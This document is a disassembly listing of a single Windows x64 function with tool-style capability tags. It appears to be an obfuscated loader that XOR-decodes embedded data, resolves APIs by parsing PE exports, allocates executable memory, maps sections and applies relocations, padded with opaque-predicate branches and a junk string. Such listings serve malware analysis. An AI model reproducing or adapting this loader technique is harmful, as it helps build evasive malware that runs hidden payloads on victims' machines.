Function at 0x1800010a0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
cmp dword [0x180020a6c], 0xa
jl 0x1800010d2
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010d2
nop
jmp 0x1800010d0
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
mov eax, 0x10
call entry0
sub rsp, rax
mov r9, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r8, rsp
cmp edx, 0xa
jl 0x180001112
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
je 0x180001112
nop
jmp 0x180001110
lea r10, section..data
mov edi, 4
mov rsi, r9
mov r14, r10
jmp 0x180001138
add r14, 1
add rsi, 1
lea r11d, [rcx - 1]
imul r11d, ecx
test r11b, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
nop
test bl, bl
je 0x180001150
sub rdi, 1
jb 0x180001180
mov bl, byte [r14]
nop dword [rax]
mov byte [rsi], bl
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180001130
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180001160
jmp 0x180001130
cmp dword [0x180020a6c], 0xa
jl 0x180001322
mov eax, dword [0x180020a70]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x180001322
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
nop
mov eax, 0x10
call entry0
sub rsp, rax
mov rax, rsp
cmp edx, 0xa
jl 0x1800011d4
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jne 0x180001310
mov edi, 4
mov r8, r10
jmp 0x1800011e8
add r8, 1
add rax, 1
lea esi, [rcx - 1]
imul esi, ecx
test sil, 1
sete r9b
cmp edx, 0xa
setl bl
or bl, r9b
nop
test bl, bl
je 0x180001200
sub rdi, 1
jb 0x180001230
mov bl, byte [r8]
nop dword [rax]
mov byte [rax], bl
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x1800011e0
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
jne 0x180001210
jmp 0x1800011e0
mov eax, 0x10
call entry0
sub rsp, rax
mov rax, rsp
cmp edx, 0xa
jl 0x18000124e
and esi, 1
jne 0x180001320
mov edi, 4
mov r8, r10
jmp 0x180001268
add r8, 1
add rax, 1
lea esi, [rcx - 1]
imul esi, ecx
test sil, 1
sete r9b
cmp edx, 0xa
setl bl
or bl, r9b
nop
test bl, bl
je 0x180001280
sub rdi, 1
jb 0x1800012b0
mov bl, byte [r8]
nop dword [rax]
mov byte [rax], bl
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180001260
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
jne 0x180001290
jmp 0x180001260
cmp dword [0x180020a6c], 0xa
jl 0x1800012ce
mov eax, dword [0x180020a70]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
jne 0x1800011b0
mov eax, 0x10
call entry0
sub rsp, rax
mov r9, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r8, rsp
cmp edx, 0xa
jl 0x180001119
and esi, 1
je 0x180001119
jmp 0x180001110
jmp 0x180001310
jmp 0x180001320
mov r15d, dword [r9]
test r15, r15
je 0x180001442
xor esi, esi
cmp r15d, 0x10
jb 0x180001414
lea rax, [r15 - 1]
cmp rax, 0x400
jae 0x180001414
mov esi, r15d
and esi, 0xfffffff0
lea rbx, [rsi - 0x10]
mov rax, rbx
shr rax, 4
add rax, 1
mov r9d, eax
and r9d, 1
test rbx, rbx
je 0x1800013da
mov rdi, r9
sub rdi, rax
xor eax, eax
lea r10, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov ebx, eax
and ebx, 0x3e0
movups xmm1, xmmword [rbx + r10 + 4]
movups xmm2, xmmword [rax + r10 + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rax + r10 + 0x414]
xorps xmm2, xmm0
movups xmmword [rax + r10 + 0x404], xmm2
lea ebx, [rax + 0x10]
and ebx, 0x3f0
movups xmm2, xmmword [rbx + r10 + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rax + r10 + 0x414], xmm1
add rax, 0x20
add rdi, 2
jne 0x180001381
jmp 0x1800013dc
xor eax, eax
test r9, r9
je 0x18000140f
mov ebx, eax
and ebx, 0x3f0
lea rdi, section..data
movups xmm0, xmmword [rbx + rdi + 4]
movups xmm1, xmmword [rax + rdi + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rax + rdi + 0x404], xmm1
cmp rsi, r15
je 0x180001442
lea rax, section..data
mov edi, esi
and edi, 0x3ff
movzx ebx, byte [rdi + rax + 4]
xor bl, byte [rsi + rax + 0x404]
xor bl, 0xc
mov byte [rsi + rax + 0x404], bl
add rsi, 1
cmp rsi, r15
jb 0x18000141b
cmp edx, 0xa
jl 0x180001451
and r11d, 1
jne 0x180001590
lea r14, section..data
lea r11, [r15 + r14]
add r11, 0x404
mov r9d, 4
mov rax, r8
mov rdi, r11
jmp 0x180001479
add rdi, 1
add rax, 1
lea esi, [rcx - 1]
imul esi, ecx
test sil, 1
sete r10b
cmp edx, 0xa
setl bl
or bl, r10b
test bl, bl
je 0x180001490
sub r9, 1
jae 0x180001530
cmp dword [0x180020a6c], 0xa
jl 0x1800015a2
mov eax, dword [0x180020a70]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
je 0x1800015a2
cmp edx, 0xa
jl 0x1800014ce
and esi, 1
jne 0x1800015a0
mov edi, 4
mov rbx, r8
mov r9, r11
jmp 0x1800014e8
add r9, 1
add rbx, 1
lea esi, [rcx - 1]
imul esi, ecx
test sil, 1
sete r10b
cmp edx, 0xa
setl al
or al, r10b
nop
test al, al
je 0x180001500
sub rdi, 1
jb 0x180001567
mov al, byte [r9]
nop dword [rax]
mov byte [rbx], al
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x1800014e0
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
jne 0x180001510
jmp 0x1800014e0
mov bl, byte [rdi]
nop word cs:[rax + rax]
nop dword [rax]
mov byte [rax], bl
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180001471
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
jne 0x180001540
jmp 0x180001471
mov r9d, 4
mov rax, r8
mov rdi, r11
cmp edx, 0xa
jl 0x180001479
mov rax, r8
mov rdi, r11
and esi, 1
je 0x180001479
nop dword [rax + rax]
jmp 0x180001590
jmp 0x1800015a0
add r11, 4
mov r9d, dword [r8]
test r9, r9
je 0x180001704
xor eax, eax
cmp r9d, 0x20
jb 0x1800016df
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x1800016df
lea rcx, [r15 + r14]
add rcx, 0x408
lea rdx, [r9 + r14]
add rdx, 4
cmp rcx, rdx
jae 0x180001608
lea rcx, [r9 + r15]
add rcx, r14
add rcx, 0x408
lea rdx, str.IvgKIKDrOhVeYGvcZQRtIBoBogcFlptnkRjVvpLIbHvcddeUuttjYadFWVZYREoXxRXbrHHRwmKBlOgfKXDUWGdyzMQYMiCnRzuQOviyKqhfYLfGHspZtZicqJccpoFlwCrTCELQtABFTyKzKPsJKgWPDYJZoEYuGaaeEmyDiIZLyVqSkbWeMZcQHxBTapnXFadmnoGkGobyttStfdCFxARLjRrHqzQEntzUXFFEeFEJIoxrOIMxLfmqGwLeeMaIpnlwFhxPcDAdXtUfnmRmZFuSkoKLHEZDhuCgHiRTUqZetvceTubpHpBmpEJBWYWMAOiZBwBBJIGDCeXqlzAVKXBXKsXkoQkOWCGVLkDapKuIjBQsjcQehKXaukjriyQmdhWHlFZhSikUusvuUopkvouchXYQaRTtagvJzqcrmyQBWGMIkiqZcMMnXJOTlGKXyoSxfvgfgQtLWsuzQqCyCiVWEIxdpFKrdftfaulaWAxYiZfOHEfAZCyWISMMlXXxBRbIqOcIqIyATWoyudVQutJIYtqjyQGSzQKbDzrrMAPbnDuIawussdVifGiSDOefoinrRwepZBgwhKiykJObwxiAUkliBUqtZlTgKySwYuDBpHsgZzlzmVeVyQoouHwwyXGLRTskyyIuaDWuEJOmtIyclXeMMbKEWfcpnvxHyrobeKyHcsSfazOpPRjuGWCokDxSJpjtQnKFuIKrHnOMMeBBFoDwHjaxyyijMIhEaMGQLAaaXSOIoAanrWhstFmkKHRyGihdSxgaaRtKmRwInvzAWbGyybfIDgykaSFgXQGXCDxJgdOVVSBXfflzDDeccFciDlfKHtzLQKBixGisWnMPqRVsPZlirCuzdOrqBwZnHGdYRqSOAHWQqeIWqrrTZDKHIvhCAbKmAjeBHfCrXTytgaqqsnphlAHXJcbDkqJMRJqscJpZZRwZAteBCMgZEWiZUzFfbmSKdUGzvxbaspBEckCTHPZcscilAbhwhtYPJZyeXAEzUCftxJlXUrK
cmp rcx, rdx
jbe 0x180001608
xor eax, eax
jmp 0x1800016df
mov eax, r9d
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x1800016a3
lea rdi, [r15 + r14]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r14 + 4]
movups xmm1, xmmword [rdx + r14 + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r14 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r14 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x18000163c
jmp 0x1800016a5
xor esi, esi
test r8, r8
je 0x1800016da
mov edx, esi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r14 + 4]
movups xmm1, xmmword [rdx + r14 + 0x14]
movups xmm2, xmmword [r11 + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [r11 + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [r11 + rsi], xmm2
movups xmmword [r11 + rsi + 0x10], xmm0
cmp rax, r9
je 0x180001704
lea rdx, [r15 + r14]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r14 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, r9
jb 0x1800016ea
cmp dword [0x180020a7c], 0xa
jl 0x180001722
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001722
nop
jmp 0x180001720
add r15, 0x408
mov qword [rbp], r11
movsxd rax, dword [0x180004440]
lea rsi, [rax + r14]
add rsi, 0x404
mov rdi, r11
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001742
mov r12, rdi
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x18000174e
mov r13, r12
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x18000175d
mov qword [rbp - 0x28], r13
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x18000176c
mov rbx, r13
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x18000177a
mov r14, rbx
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001786
sub rsp, 0x20
mov rcx, rdi
call fcn.180002a30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800017c1
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d50
mov qword [rbp - 8], rdi
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800017f4
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d60
mov qword [rbp - 0x10], rsi
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
mov esi, dword [rdi]
add rsi, r9
mov rdx, r12
nop word cs:[rax + rax]
nop dword [rax]
movzx ecx, byte [rdx]
movzx eax, byte [rsi]
test cl, cl
je 0x180001836
add rdx, 1
add rsi, 1
cmp cl, al
je 0x180001820
cmp cl, al
je 0x180001844
add rdi, 4
add r10, 2
jmp 0x18000180b
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rbx
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x18000187e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d70
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800018ad
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d80
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
mov rax, r13
nop dword [rax + rax]
movzx ebx, byte [rax]
movzx ecx, byte [rsi]
test bl, bl
je 0x1800018e6
add rax, 1
add rsi, 1
cmp bl, cl
je 0x1800018d0
cmp bl, cl
je 0x1800018f4
add rdx, 4
add rdi, 2
jmp 0x1800018c0
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
add rsp, 0x10
mov rcx, qword [rbp - 8]
call fcn.180002a30
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001957
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d90
movsxd rax, dword [r10 + 0x3c]
mov ebx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rbx + 0x1c]
cmp dword [0x180020a8c], 0xa
lea rcx, section..data
jl 0x18000198d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001da0
add r8, r10
mov edx, dword [r10 + rbx + 0x20]
mov r9d, dword [r10 + rbx + 0x24]
add rdx, r10
add r9, r10
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r15 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x1800019c8
add rsi, 1
cmp al, bl
je 0x1800019b0
cmp al, bl
je 0x1800019d6
add rdx, 4
add r9, 2
jmp 0x1800019a0
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rsi, qword [rbp - 0x10]
mov edx, dword [rsi + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r14d, dword [0x180020a70]
mov r11d, dword [0x180020a6c]
lea edx, [r14 - 1]
imul edx, r14d
and edx, 1
cmp r11d, 0xa
jl 0x180001e12
test edx, edx
je 0x180001e12
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rbp]
mov rbx, rdx
jl 0x180001a5b
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov rbx, rdx
and ecx, 1
jne 0x180001db0
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001a5b
mov r12, rbx
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001a67
mov r13, r12
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001a76
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001a81
mov rdi, r13
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001a8f
mov r14, rdi
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001a9b
sub rsp, 0x20
mov rcx, rbx
call fcn.180002a30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001ad6
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001dc0
mov qword [rbp - 8], rbx
mov qword [rbp - 0x10], rsi
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001b0d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001dd0
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
mov edx, dword [rsi]
add rdx, r9
mov rcx, r12
nop dword [rax + rax]
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x180001b46
add rcx, 1
add rdx, 1
cmp al, bl
je 0x180001b30
cmp al, bl
je 0x180001b54
add rsi, 4
add r10, 2
jmp 0x180001b20
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001b8e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001de0
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001bbd
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001df0
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r13
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001bf6
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001be0
cmp cl, dl
je 0x180001c04
add rdi, 4
add rsi, 2
jmp 0x180001bd0
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
add rsp, 0x10
mov rcx, qword [rbp - 8]
call fcn.180002a30
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001c67
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001e00
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
lea r14, section..data
jl 0x180001c9d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001e10
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r15 + rsi]
movzx eax, byte [r14 + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001cd9
add rsi, 1
cmp al, bl
je 0x180001cc0
cmp al, bl
je 0x180001ce7
add rdx, 4
add rcx, 2
jmp 0x180001cb0
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 0x10]
mov edx, dword [rax + r14 + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a7c], 0xa
mov r11, qword [rbp]
jl 0x18000172d
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000172d
jmp 0x180001720
jmp 0x180001d50
jmp 0x180001d60
jmp 0x180001d70
jmp 0x180001d80
jmp 0x180001d90
jmp 0x180001da0
jmp 0x180001db0
jmp 0x180001dc0
jmp 0x180001dd0
jmp 0x180001de0
jmp 0x180001df0
jmp 0x180001e00
jmp 0x180001e10
mov r13, rax
cmp r11d, 0xa
jl 0x180001e21
test edx, edx
je 0x180001e21
jmp 0x180001e1f
lea r8, [rsi + 0x108]
xor r9d, r9d
movzx ecx, word [rsi + 6]
cmp r9, rcx
jae 0x18000225c
cmp r11d, 0xa
jl 0x180001e46
test edx, edx
jne 0x180002258
lea rax, [r9 + r9*4]
lea r10, [r8 + rax*8]
add r10, 0xc
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
cmp edi, 0xa
jl 0x180001e72
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180002256
mov eax, dword [r10]
mov ecx, dword [r10 + 8]
mov r11d, dword [r10 + 4]
mov rdx, r13
add rax, r13
lea rdx, section..data
add rdx, rcx
add rdx, 0x404
jmp 0x180001e9e
add rdx, 1
add rax, 1
lea esi, [rbx - 1]
imul esi, ebx
test sil, 1
sete r14b
cmp edi, 0xa
setl cl
or cl, r14b
test cl, cl
je 0x180001eb5
sub r11, 1
jb 0x180001ee7
movzx ecx, byte [rdx]
mov byte [rax], cl
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
cmp edi, 0xa
jl 0x180001e96
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
je 0x180001e96
movzx ecx, byte [rdx]
mov byte [rax], cl
jmp 0x180001ebf
mov r14d, dword [0x180020a70]
mov r11d, dword [0x180020a6c]
lea edx, [r14 - 1]
imul edx, r14d
and edx, 1
cmp r11d, 0xa
jl 0x18000222d
test edx, edx
je 0x18000222d
cmp edi, 0xa
jl 0x180001f28
and esi, 1
lea r15, section..data
je 0x180001f2f
jmp 0x18000224c
lea r15, section..data
mov eax, dword [r10 + 8]
add rax, r15
add rax, 0x404
mov r11d, dword [r10 + 4]
mov edx, dword [r10]
mov rcx, r13
add rdx, r13
jmp 0x180001f53
add rax, 1
add rdx, 1
lea esi, [rbx - 1]
imul esi, ebx
test sil, 1
sete r14b
cmp edi, 0xa
setl cl
or cl, r14b
nop word [rax + rax]
test cl, cl
je 0x180001f70
sub r11, 1
jb 0x180001fa2
movzx ecx, byte [rax]
mov byte [rdx], cl
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
cmp edi, 0xa
jl 0x180001f4b
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
je 0x180001f4b
movzx ecx, byte [rax]
mov byte [rdx], cl
jmp 0x180001f7a
cmp edi, 0xa
jl 0x180001fb0
and esi, 1
jne 0x18000224e
mov eax, dword [r10 + 8]
add rax, r15
add rax, 0x404
mov r11d, dword [r10 + 4]
mov edx, dword [r10]
mov rcx, r13
add rdx, r13
jmp 0x180001fd4
add rax, 1
add rdx, 1
lea esi, [rbx - 1]
imul esi, ebx
test sil, 1
sete r14b
cmp edi, 0xa
setl cl
or cl, r14b
nop dword [rax + rax]
test cl, cl
je 0x180001ff0
sub r11, 1
jb 0x180002022
movzx ecx, byte [rax]
mov byte [rdx], cl
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
cmp edi, 0xa
jl 0x180001fcc
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
je 0x180001fcc
movzx ecx, byte [rax]
mov byte [rdx], cl
jmp 0x180001ffa
cmp dword [0x180020a6c], 0xa
jl 0x180002040
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020d9
cmp edi, 0xa
jl 0x18000204e
and esi, 1
jne 0x180002250
mov eax, dword [r10 + 8]
add rax, r15
add rax, 0x404
mov r11d, dword [r10 + 4]
mov edx, dword [r10]
mov rcx, r13
add rdx, r13
jmp 0x180002072
add rax, 1
add rdx, 1
lea esi, [rbx - 1]
imul esi, ebx
test sil, 1
sete r14b
cmp edi, 0xa
setl cl
or cl, r14b
test cl, cl
je 0x180002089
sub r11, 1
jb 0x1800020bb
movzx ecx, byte [rax]
mov byte [rdx], cl
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
cmp edi, 0xa
jl 0x18000206a
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
je 0x18000206a
movzx ecx, byte [rax]
mov byte [rdx], cl
jmp 0x180002093
mov ecx, dword [0x180020a70]
mov edx, dword [0x180020a6c]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
cmp edx, 0xa
jl 0x1800020f6
test eax, eax
je 0x1800020f6
cmp edi, 0xa
jl 0x180001f2f
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
je 0x180001f2f
jmp 0x18000224c
cmp edx, 0xa
jl 0x180002103
test eax, eax
jne 0x18000225a
cmp edi, 0xa
jl 0x180002111
and esi, 1
jne 0x180002252
mov eax, dword [r10 + 8]
lea rcx, section..data
add rax, rcx
add rax, 0x404
mov r11d, dword [r10 + 4]
mov edx, dword [r10]
mov rcx, r13
add rdx, r13
jmp 0x18000213c
add rax, 1
add rdx, 1
lea esi, [rbx - 1]
imul esi, ebx
test sil, 1
sete r14b
cmp edi, 0xa
setl cl
or cl, r14b
test cl, cl
je 0x180002153
sub r11, 1
jb 0x180002185
movzx ecx, byte [rax]
mov byte [rdx], cl
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
cmp edi, 0xa
jl 0x180002134
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
je 0x180002134
movzx ecx, byte [rax]
mov byte [rdx], cl
jmp 0x18000215d
cmp dword [0x180020a6c], 0xa
jl 0x180001e5e
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001e5e
cmp edi, 0xa
jl 0x1800021b5
and esi, 1
jne 0x180002254
mov eax, dword [r10 + 8]
lea rcx, section..data
add rax, rcx
add rax, 0x404
mov r11d, dword [r10 + 4]
mov edx, dword [r10]
mov rcx, r13
add rdx, r13
jmp 0x1800021e0
add rax, 1
add rdx, 1
lea esi, [rbx - 1]
imul esi, ebx
test sil, 1
sete r14b
cmp edi, 0xa
setl cl
or cl, r14b
test cl, cl
je 0x1800021f7
sub r11, 1
jb 0x180002103
movzx ecx, byte [rax]
mov byte [rdx], cl
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
cmp edi, 0xa
jl 0x1800021d8
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
je 0x1800021d8
movzx ecx, byte [rax]
mov byte [rdx], cl
jmp 0x180002205
add r9, 1
cmp r11d, 0xa
mov rsi, qword [rbp - 0x10]
jl 0x180001e2b
test edx, edx
je 0x180001e2b
jmp 0x180001e1f
jmp 0x18000224c
jmp 0x18000224e
jmp 0x180002250
jmp 0x180002252
jmp 0x180002254
jmp 0x180002256
jmp 0x180002258
jmp 0x18000225a
lea ecx, [r14 - 1]
imul ecx, r14d
test cl, 1
sete cl
cmp r11d, 0xa
setl dl
or dl, cl
je 0x1800024a1
mov rbx, qword [rbp - 0x10]
mov rcx, qword [rbx + 0x30]
mov rax, r13
mov rdi, r13
sub rdi, rcx
mov ebx, dword [rbx + 0xb0]
add rbx, r13
movabs r8, 0x1fffffff8
cmp dword [rbx], 0
jne 0x1800022cb
jmp 0x1800024ad
mov edx, dword [rbx + 4]
add rbx, rdx
test cl, 1
sete cl
cmp r11d, 0xa
setl dl
or dl, cl
je 0x1800024a1
cmp dword [rbx], 0
je 0x1800024ad
mov ecx, dword [rbx + 4]
cmp rcx, 8
jb 0x180002482
add rcx, r8
shr rcx, 1
test ecx, ecx
je 0x18000247d
mov r9d, ecx
xor r10d, r10d
test dl, 1
jne 0x18000231b
jmp 0x1800024a3
add r10, 1
test cl, 1
sete cl
cmp r11d, 0xa
setl dl
or dl, cl
cmp r10, r9
je 0x18000247d
test dl, 1
je 0x1800024a3
movzx esi, word [rbx + r10*2 + 8]
mov ecx, esi
shr ecx, 0xc
mov edx, esi
and edx, 0xfff
cmp esi, 0xa000
jae 0x180002405
cmp ecx, 3
jne 0x18000245e
cmp r11d, 0xa
jl 0x18000235a
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
jne 0x1800024a7
mov eax, dword [rbx]
mov rcx, r13
lea rax, [rax*4]
add rax, r13
add dword [rax + rdx*4], edi
mov r14d, dword [0x180020a70]
mov r11d, dword [0x180020a6c]
cmp r11d, 0xa
jl 0x18000245e
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
je 0x18000245e
mov rax, r13
lea rdx, [rdx*4]
add rdx, r13
cmp r11d, 0xa
jl 0x1800023b7
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
jne 0x1800023d6
mov eax, dword [rbx]
add dword [rdx + rax*4], edi
cmp dword [0x180020a6c], 0xa
jl 0x1800023dd
mov eax, dword [0x180020a70]
